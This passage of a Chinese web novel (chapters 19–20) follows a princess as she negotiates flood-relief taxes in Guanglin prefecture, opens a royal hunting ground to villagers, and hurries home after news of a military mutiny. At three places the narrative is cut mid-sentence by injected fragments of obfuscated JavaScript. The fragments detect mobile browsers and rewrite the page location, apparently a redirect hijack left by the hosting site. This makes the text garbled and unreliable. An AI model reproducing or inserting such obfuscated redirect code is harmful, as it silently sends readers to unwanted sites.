难怪村里的人们可以先砍走附近山上的柴火。难怪其他孩子也跟着欺负他。也难怪，陆娘子对他们的态度既是敬畏又是惊惧。 孤儿寡母。在乡下地方多半就意味着……你为鱼肉。。 陆娘子的手艺不错。亲卫们带回来的猎物并不太多，两只野雉煮了笋干汤，喝一口能鲜掉人眉毛。獐子肉柴，焯水去腥，一半炖得软烂，加入冬萝卜做炖菜，另一半剁碎了，揉成丸子，葱姜大火爆炒，好香。吃饭人多，陆娘子还让康小子到村头富户家里赁了几块豆腐半斗米粮，后院里摘了蔬菜几只瓜，通通做成了素菜。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076526|193566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 少年们大快朵颐，赞不绝口，陆娘子眯着眼睛笑。她许久没这么开心了，家里，也许久没有这么热闹。 她留了贵人们不吃的野味的内脏，想要腌起来存着，可一看盐罐子，已经没有多少盐了。再看看儿子，贴着墙壁站在堂屋门边，就为了闻一闻那肉味。明明快八岁了，还瘦瘦小小，跟六七岁的小孩子似的。 管他呢！明天天塌下来今天也要先把肚子填饱！ 她狠一狠心，将野味的内脏全都洗了煮了，一半装了满满一碗，另一半盛出放凉留着过两天吃。好在天冷地寒，也不容易放坏。 康小子吸着鼻子进来，看到厨房中央那一碗散发着肉香的菜，惊得都呆了。 “娘。。”他又惊又喜，眼眶却红了一圈儿。 “诶。”陆娘子拉儿子胳膊，薄薄的肩膀全是骨头。她忍了泪，说道：“吃吧。坐下吃。” 厨房里哪里还有多余的椅子呢，连贵人们坐的地方都是往邻家借来的。 康小子搬来几捆干草——这也是刚到里正家里买的——两捆干草，一捆放一边，拉着娘亲的手坐到干草上，“娘也吃。” “好。”陆娘子笑着应了，把叽叽咕咕学说话的女儿挪了过来，一家三口，围坐在用破箱子改成的桌子边。 柴火的余温真暖和啊。 用过饭再歇一会，日头渐渐偏西，这会儿出发还能赶到镇上住客栈。少年们不再耽搁。 观棋付钱的时候多给了些碎银角，獐子的毛皮也留给了陆娘子。陆娘子并不推辞，只再三谢过，将他们的水囊都装满温水。 到了村口，坐骑一律绑在树下，轮值看马的钟雁行捏着个小竹片随手刻着玩，一边挨在一旁没啥正行看康小子喂马。 今年雨水重，这些干草还是里正家里去年存下的。 “你们还会来吗？”康小子问。 钟雁行想了想路程，这一路是绕往广临府，但这村子不是必经之路，回程大概不会再绕过来了。 “暂时不会吧。” “喔。”康小子点头，把干草全递了出去。 小家伙有些不舍，钟雁行看出来了，他也听说了康小子家里的事。 “吶。拿着。”他把手里新刻好的小玩意递了过去。 削磨了棱角的竹片，清浅的幽幽绿，上头刻着一只振翅的鸟儿。 康小子先将手在衣衫下摆擦了好几下，才接过手，随后瞪大了新奇的眼睛，“这是什么！大雁吗？” “眼光不错嘛。我叫钟雁行。这竹片子上头刻的是一只雁。”他指给小家伙看：“往后，你跟村子里的小孩说我是你表哥，专程来看你的。等你长大了，就会到城里去找我。这个是我给你的信物。” “记住了。”他咕噜他的脑袋，“这样，他们就不敢欺负你了。” “呜呜呜。钟哥哥。” “嗐！可别哭鼻子了啊。”钟雁行故作嫌弃的甩手：“你鼻涕都要沾我手上了。” “呜呜呜。嘿嘿嘿。。诶哟。。”康小子握紧了竹片儿又哭又笑，吹出一个鼻涕泡泡。 19.加五成税 十九章加五成税 “要是有人问你这一大群人呢，你就说都是你表哥的朋友。个个都会功夫。”钟雁行扬一扬下巴，有些骄傲，“听懂了吗？” “懂啦！”康小子也学着他的样子，高高扬起下巴。 “噗嗤。” 身后传来一声笑，钟雁行回过头，是许孟然这个坏小子。哦，郡主殿下和亲卫们一齐过来了。他立即收了嬉闹模样，站得都有站相了。 薛明德显然也听到了他们说话，倒是不置可否。 康小子攥紧了小竹片站在钟雁行身边，他有点儿紧张。这个漂亮的姐姐几乎没和他说过话，可他就是有些怕她。 薛明德却对他说：“回去告诉你娘亲，过几天就能进围场里拾柴火了，让她留意到里正那儿听消息。” “诶？”康小子眼睛睁得大大的，不敢相信这天上砸下来的好消息，甚至又重复了两遍：“诶？诶！！” 观棋等人都听懂了，心头各自小小的欣喜。 解了马缰，扯过辔头，少年们往着广临府方向驰去，康小子才回过神来，急跑了几步，大声喊道：“谢谢姐姐！谢谢你们！” 冬日里风大，一阵儿过去，也不知他们有没有听到。 康小子呆呆站了一会，又低头去看自己的手，手中握着一枚竹片，上头有一只振翅的雁。 这一切都是真的，他不是做梦！ 在镇上歇一晚，第二日，一行人到赶早进广临府，出乎意料的是排队进城的人还挺多。 他们都骑着马，守门卫难免多问几句，好在几人皆是有备而来，身份上无不妥帖，只说往城里走亲戚就是。 广临府亦有早市，离城门口不远，是为了方便往来客商。 早市里商铺鳞次栉比，热闹繁华，虽还不及宁安府，但比一路行来的其它各府都要好些。 薛明德心情也甚好。 广临府在墨远山下，受到风雨侵袭的伤害果然要小一些。 早市里有茶楼，店小二远远的看到他们，脸上已堆满了笑。 双色饺子，几屉包子，几盘春卷儿，素火腿，酱鸭子，再来个广临府特色的鱼圆豆腐汤，齐活！ “嗷。”许孟然摸着肚子感慨：“自出门以来许久没吃得这般舒坦了。” “看来广临府治下不错呀。”另一个亲卫眯着眼睛附和。还没见到人呢，已对广临府的府尹拉满了好感。 城里的米面粮食乃至炭火木材一应日常所需，虽比往年略贵些，但也就涨个一两成。比其余几府好上太多。 一行人在城里逛了两天才往府衙去，别说，这一城的官员风评还不错！ 广临府的老府尹年初时病倒了，求了休致。新的府尹还未选派，是以目前主事的是少府尹张维。张少府尹正在府衙里签发着公文，忽听手下来报，宣诚郡主一行入城，已到行馆了。 他略为顿了下笔，便说一句“知晓了”。接着先让人投了拜贴，再起身正了衣冠，令手下知会各部僚属，等到了郡主殿下的允准，这才领着一众下属前往行馆拜会。 广临府的行馆修筑在落熠湖边，二层小楼视野开阔，湖色尽览。前厅装饰了大幅的字画，正中一幅“落熠生辉”，是已故宁王府世子薛琦的手笔。 薛明德在先父的题字前驻足良久，直到观棋轻声回禀，广临府的官员们求见。 有品级的官员除了在外跑案子的法曹和法曹属，其余全都到了，足有二十余人，年龄有老有少，细看之下最年轻的居然是三十而立的少府尹张维，此刻正弯腰拱手站在最前头。 年纪最大的是一个六品老官，头发胡子白了大半，想来再过几年就能求请休致了。 湖边风大，老官忍不住咳咳咳，咳咳咳。他身边一个年轻些的官员悄悄移了脚步，替他挡住些许冷风。老官察觉了，弯着的腰冲他稍稍点头，聊以致谢。 薛明德抿唇一笑，让人掩了门窗，只留着缝隙透气。 官员们齐齐道谢。郡主殿下摆了摆手，问今岁收成如何？百姓安居乐业否？辖内可还太平？ 官员们按着份内事一一出列回话。这一年广临府也难免遭了灾，但胜在底子厚，百姓们的日子还过得去，没有出现大的动乱。心中磊落便不怕查，以至于有人心里还想着，殿下问的都是寻常事呀，怎么传闻她这回巡查特别铁面无私，还落了个“玉面钦差”的雅号？ 通往后院的侧门被推开，哦，是下人来上茶了。看来郡主殿下对他们这一年的勤勤恳恳十分认可。 官员们放下心来。 大伙儿都喝了一口茶，润了润嗓子，薛明德耐心的等着他们把茶盏搁到了角几上，才笑眯眯的道：“诸位大人果然克尽厥职，不负众望。”不等众官员谦虚客气，她话锋一转，说道：“可是今年雨水太重，各地多少都发生了水患，百姓们食不果腹流离失所。祖父本欲在宁安府和广临府一同加收五成税，用以赈济灾民……” “五成？”仓曹当先跳起来。 张少府尹咳了两声，仓曹兀自愤愤又着急，“大人，大人我们没有这么多粮食。。” “我也觉得加五成实在太重啦。”薛明德叹口气，忧心忡忡的道：“我在祖父面前求了整整两日，才让祖父松口，改为三成。今年米粮加三成税，这三成多加的可用陈年米粮抵。诸位大人，可否？” 这话说得。今年本就欠收，陈年米粮也难再掏出来这许多啊。 一地的官员你看看我我看看你，最后齐齐看向了张少府尹，期望着他能再争取一下，减到两成也行啊。 张少府尹道：“敢问殿下，宁安府也加三成税吗？” “然也。宁安府粮食加三成税，御寒的棉、麻，皆比往年再加收两成。可用金银抵。” 座下诸君一阵唏嘘。 薛明德语毕不再多言，目色冷静的望着张维。 张少府尹沉思片刻，答道：“上覆郡主，广临府上下责无旁贷，不敢有辞。” 官员们有的张张嘴，有的跺跺脚，看得出还是想再争上一争。但张少府尹已经双手做拱，拜了下去。 一众官员只得一齐下拜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079854|193566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，齐声唱喏：“广临府上下责无旁贷，不敢有辞。” 明亮开阔的行馆前厅，细风掠过了湖面，送来蔚然清新的气息。 “这一年暴雨连旬，宁州八府大多水患严重，田地被毁，百姓流离失所。岳北府甚至发生了滚石天灾，半个木溪镇都被泥石冲毁，老妪失子，幼儿无依。” 宣诚郡主的嗓音清泠而低缓：“这些加收的税目，将会用以赈济灾民。我替木溪镇的百姓们，谢过诸君。” …… 官员们听罢，无人不恻然。 这一年谁都不好过，可他们再难，日子总还过得下去。罢了罢了。 一众官员再无推辞，一齐对郡主殿下躬身行礼。 礼见毕，再定了几件细则，官员们纷纷告辞回去了。张少府尹留到了最后，等着郡主殿下还有什么需要指派的事情。 下人们进来换了一回茶，观棋接过食盒，将茶点摆到案上，虚掩了房门，侍立在郡主身后。 热茶沏的是九曲红梅。茶汤红艳，带着淡淡梅花香气，在这湖畔赏景时最为清雅怡人。 可张维此刻端着茶水，心中砰砰砰的跳。想着一会要说出口的话，他猛地大饮一口壮胆。 好烫！ 差点要吐出来。 他连忙举起袖子捂住半张脸，勉强咽了下去，立即起身行礼道：“下官失仪，望殿下恕罪。” 薛明德饶有兴致的看着他。方才加征三五成税的时候都不见他这般紧张。 “其实我本欲加征二成税的。说三成，是给你们一个讨价还价的余地。”薛明德改变了策略，单刀直入的开口：“答应得这般爽快，张大人，你是别有所求吗？” 不曾想张维听到这儿，却又恢复了郑重的神色，他起身行礼道：“回禀殿下，此次天灾我等皆受其害。但广临府北有墨远山，挡住了部分风雨，境内有落熠湖，又保住了大部分的百姓不至于冻饿至死。宁州八府当为一体，其余府县受灾更重，广临但凡能拿得出来，确实义不容辞。” 薛明德缓缓端正了坐姿，也正色道：“好。我知道了。所以你的所求是什么呢？” 张维的心已渐渐平静，他在台阶下站直了身子，平稳而清晰的说道：“下官恳请殿下，在今冬暂开皇家墨远围场，允许百姓进围场伐薪烧炭，以过严冬。” 他说着，深深一礼，拱手到地。 广临府衙不远处的张家后宅，丫鬟们陪着张夫人用茶，一壁说话。 “夫人是担心郡主殿下会不答应吗？”心腹丫鬟悄声问。 陈敏汐摇摇头：“我听闻郡主殿下人品贵重，珺璟如晔，是一个有大智慧的人。” “那您还愁些什么呢？” “我是怕大人他说话太直了。万一他当着所有人面陈求请，岂不是有指责皇家围场之嫌。”说到“皇家”那几个字，她含糊了过去。 丫鬟没听清，正待问，就听到自家大人飞奔回来的呼声。 “夫人！夫人。”张维喜形于色，边跑边叫：“殿下同意了！你的求请，殿下同意啦！！” 20.越州万禧 二十章越州万禧 “敏汐！”张维提着袍子，好让自己跑得快一些，“殿下同意了！” “大人。”陈敏汐比他更显沉稳，明明一双眼睛都在笑，却还是提醒道：“您穿着官袍呢。” “哦哦哦。” 丫头们捂着嘴笑。三十而立的张大人，在夫人面前就像个小孩子。 “夫人。”张维终于跑到了陈敏汐面前，伸手握住她的手，丫头们都转身该干嘛干嘛去了，张维说的却是：“殿下说，逢五逢十，许各县百姓进墨远围场伐薪拾柴。逢三逢六，许小官小吏家里进围场猎些小的猎物，也可换钱度日，这般就不必与民挣利。” “殿下心中早有丘壑。我就知道我就知道。”陈敏汐两眼放光，双手回握着丈夫的手：“我们想到的，她早已想到了。” “大人。”夫妻俩说得正高兴，府里管事却跑了过来，急匆匆说道：“大人，行馆派人来。殿下要启程了，请您即刻往行馆一趟。” “现在？”张维一愣，提着官袍一角惊得要跳起来。 半个时辰前的行馆里，薛明德刚接到了祖父派快马送来的急报。 “祖父是算准了我在广临吗？”她随口问。 信使单膝跪地，双手捧上一枚松香蜡丸，一壁回答：“郡主每旬有简讯送回王府，王爷算着大致方向，派我们三个人分三队送信，想来我是最早寻到了殿下。” 薛明德心中微凛。如此郑重又紧急，莫非家里出事了？她接过蜡丸在手上揉开，里头薄薄一张纸条，盖了祖父的朱印私章，上头书着笔力遒劲的几个字—— 陪都兵谏。 陪都有大将军蒋慕田，煦王薛豫钧。 兵谏只能以下对上。 大将军反了！ 数个念头，只在电转之间。 薛明德不动声色的吩咐信使退下，将纸条用火折子燃成灰烬，才将几个下属叫来，嘱咐他们一个时辰后出发。 分明是今日才住进的行馆，观棋和众亲卫却无一人质疑郡主的决定，即刻告退，各自回房收拾行李。 这时外头来报，广临府少府尹张大人来了。 薛明德唤他进来，更无别话，只说广临府的一应庶务都交给他。 “广临府北临墨远山，南内有落熠湖，用心经营，渐可为我宁州粮仓。我把它交给你了。你不要让我失望。” 张维一张脸慢慢涨红，既兴奋又激动，他在几刹那后才明白了郡主话里的意思。他要当府尹了！ “张维谢过殿下重恩。维定恪守不渝，不负殿下知遇之恩。”他说着，端正站稳，深深的，行了一礼。 一个时辰后，薛明德带着王府一众亲卫出发，晓行夜宿，沿途不再逗留。三天后，回到了宁州府城——宁安城。 “祖父。”得知祖父在外书房，薛明德让赶路回来的下属们都去修整，独自一人来到了一心斋。“孙女儿回来了。孙女儿给祖父请安。” “好。好好好。”宁王从紫檀书案后起身，亲自扶起了孙女。 近三个月不见，孙女儿是不是又长高了？风餐露宿，瘦了不少，眼下泛着点儿青色，是赶路赶急了吧。但是孙女儿的眼睛更亮了，犹如利刃开锋，是历练过后的张扬和神采。 宁王又开心起来，用力拍了下孙女儿的手臂，“去吧。先去换身衣服，天大的事情也不急在这一时。” “是。” 依旧是回千玉堂，简单的梳洗换一身干净衣裳，但这一回，薛明德并没有去向周夫人请安，只在出门前派人到华荣居告知自己回来的消息，只身又往一心斋去了。 一心斋的小花厅里一张嵌玉圆桌摆了两只食盒，见着郡主到来，洛有成笑道：“王爷神机妙算，料到郡主殿下定是没用饭就急着过来了。” 外书房的两个仆僮将食盒里的饭菜取出，另有个暖盅，温着一壶酒。 “来。陪祖父喝两杯。”宁王大大咧咧的道。 薛明德陪坐下首，见到一桌子都是她喜欢的菜肴。这哪是陪祖父喝两杯？分明是祖父心疼她饿着肚子呢。 摆好酒菜，家令带着仆僮下去了。祖孙两个围桌而坐，先吃了一轮菜，再小酌几杯。 酒已温好，色泽如琥珀，入口香醇，酒意愈绵长。 “陈年金棠酒！”薛明德微微眯起眼睛，十分赞叹的样子：“祖父藏的好酒。” 宁王也饮了一口，随口说一句：“何以畏民。” 薛明德添酒举杯：“既寿而安。” “哈哈哈哈哈！”宁王爽朗大笑，和她碰了一杯酒。 这孙女儿，果然最得他心意。 酒饮过二巡，宁王道：“前月里你让人送来简讯，陪都调粮，只恐有变。我便派人暗去打听。果不其然，大将军蒋慕田，在秋分这日领军兵谏。” “大将军蒋慕田。。”薛明德转动手里的白玉杯，略为疑惑，“连月大雨，起兵选在秋末，庆远城的秋收竟不受影响吗？” 宁王冷笑：“便是受了绝大影响。陪都秋分已如霜降，比寻常年份寒冷许多，加之暴雨连月，城里城外的秋粮皆是颗粒无收。蒋慕田让人四处散布传言，说今上无道，天降灾祸，当以无德让有德。今日斩旗兵谏，来日能者受命于天，必将取而代之。百姓眼看活不下去了，抛家舍业，据说追随他的人不下五十万大军。” “庆远城守军区区三万，本就是太后和今上防着陪都做大。即便他真有五十万人也不过乌合之众，何况他不会有足够的粮食供养这般多军士。”薛明德冷静的分析，又道：“蒋慕田为何说能者受命于天？他的兵谏，不是要扶持煦王叔再挟天子以令诸侯？” 宁王望了她一眼，眼神很平静。 可薛明德还是在一瞬间便了然了。“煦王叔他……” “五日前收到的讯报，薛豫钧已被蒋慕田杀了。煦王府一把火都烧了几天几夜，多半也没留下什么人。” 话音微顿，祖孙两个默默的饮了一杯酒。 “蒋慕田所图不小。”薛明德沉眉想了一回，说道：“叙州的运粮船五月出发，六月初停泊玉砂江。蒋慕田当其时早已在筹粮，想来是蓄谋已久了。” 宁王欣慰的笑：“你看得倒准。” 薛明德弯起眼睛，想要谦虚的，在祖父面前又忍不住有些许得意，“明德谢祖父谬赞。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083803|193566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哈哈哈。”宁王大笑道：“说来庆远城这番兵事，也是你先发现的端倪。” 他一面说，一面举箸夹菜。 薛明德道：“天冷菜凉，不若叫人换过一席，再送些热汤来。” “好。” 薛明德点点头，起身往书房门上走，还未走到门前，就见人影晃动，下一刻仆僮在外略扬着声说道：“禀王爷，万禧堂言姑娘求见。洛家令在前堂陪着说话。” “哦？”宁王撂下筷子，显然很感兴趣，扬声道：“请她到一心斋来。” 薛明德更为诧异了。这是外客，能进一心斋？ “越州的万禧堂？”她问。 越州起家的万禧堂号称天下第一商号，传闻它不止买卖做得极广，甚至专门雇人开辟商路，生意包罗万象，陆水两路皆有涉及。 但南北有异，所谓南万禧，北鹿鸣。大晟国北边的生意以鹿鸣轩占得多，鹿鸣轩的本家就在宁安城，和万禧堂属于王不见王。 今日刮的什么风，万禧堂的人竟然主动找到宁州王府来了。 宁王笑道：“对。就是那个万禧堂。她来过咱们王府两回了，是个与你年纪相仿的姑娘，很是有趣。你们俩定然处得来。” 祖孙俩人说着话，不大一会，家令洛有成就引着一个年轻女孩儿走了过来。 一心斋的门上镂刻的并不是寻常梅兰竹菊四君子，而是金漆木雕回纹拱寿。而今雕花门两下敞开着，屋内熏笼里燃了银丝碳，引得淡淡梅花香气肆意蔓延，如冬日午后的暖阳一般散落在来人身前。 言姑娘一步一生香，彷如说书里美好故事的开端。 月令近小雪，时光微寒。薛明德远远望见这年轻姑娘穿了一身金线百褶不落地的襦衫，下穿时兴的月牙白如意纹缎高腰长裙，外头披了件织锦绣金边的洋缎斗篷，一圈雪白绒毛风领衬着她一张玉人儿一般的脸。 看到这张脸，薛明德没有掩住脸上的诧异表情。 居然是她！ 这人分明是岳北府外木溪镇里遇到的女孩儿！那天她穿着夜行衣，手持弯刀身手敏捷，步步杀敌招招见血，却又哪里是今日这般大家闺秀的玲珑模样。 言姑娘显然也认出了薛明德，眼里同样惊诧万分。 难怪那一日在城郊小镇，这少女如同炽烈骄阳一般耀眼，她竟是宁王府的宣诚郡主！天潢贵胄，她自有藐视一切的本事。不，她凭的哪里是什么皇族血脉，那一日她说出的那句“如何？我留得住你了吗？”，语气里何等骄傲，又何等自信！ 万千思绪，皆如电光火石般碰撞。 宁王见她俩相互只顾望着对方，说打量也不算打量，说敌意未必没有敌意。于是安然靠坐在环椅之内，老神在在的道：“你俩这是认识？” 薛明德收回了心神，迈前一步含着笑，“这个妹妹我曾见过的。” 好一句唱词。宁王心中笑着孙女儿调皮，却也不愿在外人面前落了她的面子，是以并不多言。 言姑娘听罢也宛然一笑，在堂前微微曲身福了一福，落落大方的道：“万禧堂言为雪，见过宁王殿下，见过宣诚郡主。愿宁王殿下鸿福安泰，郡主冬祺顺遂。”